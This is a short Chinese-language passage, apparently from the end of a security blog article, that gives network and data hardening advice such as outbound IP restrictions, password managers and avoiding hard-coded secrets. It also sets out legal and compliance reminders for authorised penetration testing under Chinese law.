- 禁止主机访问境外恶意IP,通过白名单限制出网端口。
-
数据层面:
- 浏览器、应用程序禁止保存密码,使用企业密码管理器(如1Password);
- 敏感文档加密存储(如Office文件密码保护、压缩包加密);
- 代码中禁止硬编码密码,使用配置中心或环境变量存储敏感信息。
8.3 合规与法律风险提示
- 合法授权:所有信息收集操作必须获得目标系统所有者的书面授权,严禁对未授权系统实施探测;
- 数据保护:收集的敏感数据(如密码、票据)需加密存储,测试结束后立即删除,避免数据泄露;
- 法律依据:遵守《网络安全法》《数据安全法》《刑法》第285条(非法侵入计算机信息系统罪)、第286条(破坏计算机信息系统罪),确保操作合法合规。
1582

被折叠的 条评论
为什么被折叠?



